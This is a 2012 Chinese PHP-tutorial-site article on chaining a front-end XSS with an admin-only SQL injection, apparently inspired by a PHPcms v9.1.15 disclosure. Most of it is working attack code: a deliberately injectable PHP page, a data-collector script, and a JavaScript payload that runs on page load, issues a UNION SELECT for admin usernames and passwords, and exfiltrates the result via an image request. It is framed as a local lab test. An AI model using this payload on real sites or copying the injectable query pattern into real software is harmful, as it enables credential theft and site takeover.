栏目导航
热点推荐
- 开发者必备,超实用的PHP代码片
- 提高PHP编程效率的53种方法
- PHP精华的代码收藏
- PHP.ini配置文件(中文)
- PHP如何防止注入及开发安全
- 提高PHP编程效率的53个要点
- 实际开发中可能用到的PHP的字符
- PHP无限分类的原理
- PHP验证码类代码( 最新修改,完全
- PHP判断端口是否打开的代码
- PHP网站转移实战经验之谈
- phpMyAdmin配置文件说明
阅览排行
PHPcms利用xss执行sql注入
www.jz123.cn 2012-09-18 来源: 站长家园 责任编辑(袁袁) 我要投递新闻
昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!
于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!
模拟注入漏洞代码
当然你也可以写个正则截获指定数据!
- sqli.php
01 <?php
02 @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略
03 $con = mysql_connect("localhost","root","");
04 if(!$con) {die('Could not connect: ' . mysql_error());}
05 mysql_select_db("test",$con);
06 $id = $_GET['xss'];
07 $sql = "select id,realname from test where id="."$id";
08 $view = mysql_query($sql);
09 $row = mysql_fetch_array($view);
10 echo $row[id]."<br />";
11 echo $row[realname]."<br />";
12 ?>
- mysql数据库:
1 database:test
2 table:test、admin
3 column:test.id、test.realname
4 admin.id、admin.username、admin.password
- get.php(获取的注入后数据截取)
1 <?php
2 $file = fopen("data.txt","a");
3 fwrite($file,$_GET['get']);
4 fclose($file);
5 ?>
- xsssqli.js(payload)
01 function addLoadEvent(func)//窗口打开加载多个函数
02 {
03 var oldfunc=window.onload; //页面打开是加载方法
04 if(typeof(window.onload)!="function")
05 {
06 window.onload=func;
07 }
08 else
09 {
10 window.onload=function()
11 {
12 oldfunc();
13 func();
14 }
15 }
16 }
17 function get_xsssqli()
18 {
19 var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
20 var ajax = null;
21 if(window.XMLHttpRequest)
22 {
23 ajax = new XMLHttpRequest();
24 }
25 else if(window.ActiveXObject)
26 {
27 ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
28 }
29 else
30 {
31 return;
32 }
33 ajax.open("GET", url, true);
34 ajax.send(null);
35 ajax.onreadystatechange = function()
36 {
37 if(ajax.readyState == 4 && ajax.status == 200)
38 {
39 var img = document.createElement("img");
40 img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
41 document.body.appendChild(img);
42 }
43 }
44 }
45 addLoadEvent(get_xsssqli);
- 模拟xss漏洞
1 <html>
2 <head>
3 <title>use xss to sqli</title>
4 </head>
5 <body>
6 <script src=http://127.0.0.1/xss/get.js ></script>
7 </body>
8 </html>
最后成功得到数据:
当然你也可以写个正则截获指定数据!
0
上一篇:preg_match_all匹配文章中的图片作为文章标题的小图片 下一篇:Thinkphp常用系统配置大全